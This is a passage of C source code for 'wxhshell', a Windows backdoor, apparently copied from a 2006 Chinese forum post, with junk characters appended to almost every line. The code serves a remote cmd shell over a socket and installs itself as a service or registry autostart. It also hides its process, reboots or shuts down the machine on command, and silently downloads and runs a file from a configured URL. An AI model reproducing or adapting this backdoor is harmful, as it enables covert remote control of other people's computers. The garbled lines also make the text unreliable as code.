    switch(cmd[0]) { A0:rn\$l3  
  W#=,FZT  
  // 帮助 W1EYVXN  
  case '?': { [2h.5.af  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MdmN7>  
    break; !#=3>\np+X  
  } P^tTg  
  // 安装 (|NCxey  
  case 'i': { gd*2*o$g(  
    if(Install()) :2K@{~8r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]qxl^Himq  
    else Dp!91NgB p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'C]Y h."u  
    break; )]s<Czm%  
    } 52zE -SY  
  // 卸载 gY8$Rk %  
  case 'r': { .ws86stFSb  
    if(Uninstall()) /(.:l +[w[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); : ]+6l  
    else } `5k^J$x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tym:C7v%~  
    break; 5n{d jP  
    } 3bYjW=_hA  
  // 显示 wxhshell 所在路径 &{UqGD#1&  
  case 'p': { r$8'1s37`  
    char svExeFile[MAX_PATH]; P=_fYA3  
    strcpy(svExeFile,"\n\r"); /KNDo^P  
      strcat(svExeFile,ExeFile); ;S '?l0  
        send(wsh,svExeFile,strlen(svExeFile),0); DY^;EZ!hb  
    break; r\/+Oa'  
    } []D@Q+1  
  // 重启 |DsnNk0c  
  case 'b': { xt*u4%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5L!y-3  
    if(Boot(REBOOT)) {D=@n4JO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f;b[w   
    else { ,N0#!<}4  
    closesocket(wsh); /i77  
    ExitThread(0); #f+$Ddg*  
    }  =kuMWaD  
    break; QqU!Najf  
    } !/wtYI-`  
  // 关机 mrw=T.  
  case 'd': { *M"}z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y0X-Zqk'  
    if(Boot(SHUTDOWN)) z[;z>8|c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k5T,990  
    else { R2 V4#  
    closesocket(wsh); Bi{$@n&?f  
    ExitThread(0); (P$H<FtH  
    } hodgDrmO/  
    break; |vw"[7_aS  
    } /gG"v5]  
  // 获取shell K1T4cUo  
  case 's': { O<V4HUW  
    CmdShell(wsh); ^ (FdXGs[  
    closesocket(wsh); v;ZA 4c  
    ExitThread(0); wH@Ns~[MA  
    break; :eCU/BC4  
  } y~\oTJb  
  // 退出 Nal9M[]c  
  case 'x': { jB(|";G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5^x1cUB]  
    CloseIt(wsh); Z+=@<i''  
    break; 5@BBo eG  
    } {lc\,F*$  
  // 离开  \*<d{gZ~  
  case 'q': { X93!bB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .Fp4: e  
    closesocket(wsh); N}t 2Nu-  
    WSACleanup(); \7'+h5a  
    exit(1); 0ik7v<:  
    break; 9_5ow  
        } |/)${*a4n  
  } KGFv"u{  
  } ;4pYK@9w_  
q0zr E5  
  // 提示信息 sjV!5Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \vO,E e~#W  
} uu>Pkfo  
  } @8I4[TE  
;N?]eM}yf  
  return; p|p l  
} ^\S~?0^m  
;67x0)kn  
// shell模块句柄 LBZ+GB  
int CmdShell(SOCKET sock) !/]WrGqbS  
{ |mw.qI|  
STARTUPINFO si; FFEfI4&SfS  
ZeroMemory(&si,sizeof(si)); W*I(f]8:y`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?o|f':  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  e0,|Wm  
PROCESS_INFORMATION ProcessInfo; q}?4f *WC  
char cmdline[]="cmd"; ys kO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z '7  
  return 0; P`cq H(   
} ?BZPwGMs  
I<6P;  
// 自身启动模式 j=r P:#  
int StartFromService(void) @pRlxkvV  
{ ][p>Y>:b-  
typedef struct ~XmLX)vO/  
{ G VYkJ0,  
  DWORD ExitStatus; R1$:~p2m  
  DWORD PebBaseAddress;   t!_<~  
  DWORD AffinityMask; ElW~48  
  DWORD BasePriority; 1^}[&ar  
  ULONG UniqueProcessId; b?lD(fa&  
  ULONG InheritedFromUniqueProcessId; =h5H~G5AT  
}   PROCESS_BASIC_INFORMATION; /k,-P  
kZGRxp9  
PROCNTQSIP NtQueryInformationProcess; Tq[kl'_  
waj0"u^#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7%|~>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Oagsoik  
c2'Lfgx4  
  HANDLE             hProcess; &keR~~/  
  PROCESS_BASIC_INFORMATION pbi; eEv@}1~  
M:[ %[+6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I7n"&{s"*  
  if(NULL == hInst ) return 0; (<xfCH F5  
EWkLXU6t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [QoK5Yw{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GkTiDm?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9\BT0kx  
[`"ZjkR_J  
  if (!NtQueryInformationProcess) return 0; .ufTQ?Fe  
(jRm[7H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?En O"T.  
  if(!hProcess) return 0; :fZ}o|t7  
m!tbkZHQn0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m4hg'<<V  
1;Cyz)  
  CloseHandle(hProcess); Ch|jtVeuyJ  
f$Fhf ?'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R5 - @  
if(hProcess==NULL) return 0; qGB{7-ru  
iW%I|&  
HMODULE hMod; H2jgO?l;!  
char procName[255]; nG'&ZjA  
unsigned long cbNeeded; Rnr(g;2  
(mTE;s(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~O oidKT  
$Y/9SV,  
  CloseHandle(hProcess); ( +Q&[E"87  
W_\5nF  
if(strstr(procName,"services")) return 1; // 以服务启动 c|B.n]Z  
!h23cj+V  
  return 0; // 注册表启动 IYS)7`{]  
} SwTL|+u  
}J:U=HJ  
// 主模块 :~tAUy":_*  
int StartWxhshell(LPSTR lpCmdLine) _u5#v0Y  
{ $0>60<J  
  SOCKET wsl; %7IugHH9y  
BOOL val=TRUE; p93r'&Q  
  int port=0; t\k$};qJ  
  struct sockaddr_in door;  #~2%)  
7byK{{/z  
  if(wscfg.ws_autoins) Install(); Cz\e w B  
_/-jX  
port=atoi(lpCmdLine); 4U+xb>  
jHE}qE~>5  
if(port<=0) port=wscfg.ws_port; S >X:ZYYC  
=S+wCN  
  WSADATA data; ;o2$ Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m.# VYN`+A  
bYpnt V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t^R][Ay&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |,gc_G  
  door.sin_family = AF_INET; 2Mc3|T4)U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ODNM+#}`  
  door.sin_port = htons(port); pN:Kdi  
Wz49i9e+d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [q) 8N  
closesocket(wsl); Ln')QN  
return 1; t{^*6XOcJ  
} Z'`g J&6n  
eTI%^d|  
  if(listen(wsl,2) == INVALID_SOCKET) { [!HEQ8 2g  
closesocket(wsl); "GMBjT8  
return 1; P;=n9hgHI  
} f332J  
  Wxhshell(wsl); SPX$ U5&  
  WSACleanup(); Z_};|B}  
lYVz 3p  
return 0; dx5#\"KX=,  
9ifDcYl  
} ~dgDO:)  
?I_s0k I  
// 以NT服务方式启动 %GjM(;Tk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p{amC ;cI$  
{ =9'RM>  
DWORD   status = 0; 9YIM'q>`v  
  DWORD   specificError = 0xfffffff; :~e>Ob[,"  
R]c+?4J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I5 o)_nc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; TJ_$vI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X^}I-M%{m  
  serviceStatus.dwWin32ExitCode     = 0; 5nv#+ap1 "  
  serviceStatus.dwServiceSpecificExitCode = 0; E4`N-3  
  serviceStatus.dwCheckPoint       = 0; TyD4|| %  
  serviceStatus.dwWaitHint       = 0; !"HO]3-o  
J*yf2&lI5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N..yQ-6x?  
  if (hServiceStatusHandle==0) return; ]i&6c  
dt \TQJc~  
status = GetLastError(); ck ]Do!h  
  if (status!=NO_ERROR) <k eVrCR  
{ nhB1D-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gp};D  
    serviceStatus.dwCheckPoint       = 0; 8;b( 0^  
    serviceStatus.dwWaitHint       = 0; m ,* QP*  
    serviceStatus.dwWin32ExitCode     = status; nt 81Bk=  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?*[N_'2W+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NPhhD&W_  
    return; eJF5n#  
  } 8p^bD}lN7  
>:AARx%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XX7{-Y y  
  serviceStatus.dwCheckPoint       = 0; {@H6HqD  
  serviceStatus.dwWaitHint       = 0; yzbx .  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CJ/X}hi,  
} x5,++7Tz  
9_# >aOqL  
// 处理NT服务事件,比如:启动、停止 3c#BKHNC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Yl4^AR&  
{ M>wYD\oeg  
switch(fdwControl) D"Bl:W'?j  
{ /7a BDc-v  
case SERVICE_CONTROL_STOP: =e/9&993  
  serviceStatus.dwWin32ExitCode = 0; -V-RP;">  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [.O?Z=5a[V  
  serviceStatus.dwCheckPoint   = 0; V, Z|tB^  
  serviceStatus.dwWaitHint     = 0; s1M Erd  
  { ,~aQL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [;r)9mh7  
  } 1t:Q_j0Ym  
  return; WK ts[Z  
case SERVICE_CONTROL_PAUSE: bZnuNYty75  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^nT/i .#_  
  break; p#01gB  
case SERVICE_CONTROL_CONTINUE: 09X01X[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K,Ef9c/+K  
  break; hEA<o67  
case SERVICE_CONTROL_INTERROGATE: I?h)OvWd  
  break; !^^?dRd*v  
}; ;;_,~pI?k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eV 2W{vuI  
} #+:9T /*>0  
8;d:-Cp  
// 标准应用程序主函数 W3]_m8,Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8qk?E6  
{ .GsV>H  
m;H.#^b*  
// 获取操作系统版本 c&r70L,  
OsIsNt=GetOsVer(); j2Cks_$:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8|):`u  
> A Khf  
  // 从命令行安装 )_+rU|We  
  if(strpbrk(lpCmdLine,"iI")) Install(); <>dT64R|  
.R) D3NZp  
  // 下载执行文件 j|4<i9^}  
if(wscfg.ws_downexe) { m4TE5q%3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R}G4rO-J  
  WinExec(wscfg.ws_filenam,SW_HIDE); HFKf kAl  
} ) brVduB  
q4R5<LW"  
if(!OsIsNt) { VvvRRP^q  
// 如果时win9x,隐藏进程并且设置为注册表启动 4H,`]B8(D  
HideProc(); n(b(yXYm]  
StartWxhshell(lpCmdLine); !9u|fnC9  
} J4QXz[dG  
else 931bA&SL=/  
  if(StartFromService()) aH 4c02s$  
  // 以服务方式启动 E[2m&3&  
  StartServiceCtrlDispatcher(DispatchTable); N^#ZJoR  
else M}`B{]lLz  
  // 普通方式启动 bt"W(m&f  
  StartWxhshell(lpCmdLine); Ov};e  
Z,RzN5eN  
return 0; O ,J>/  
}
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只看该作者 1 发表于: 2006-10-10
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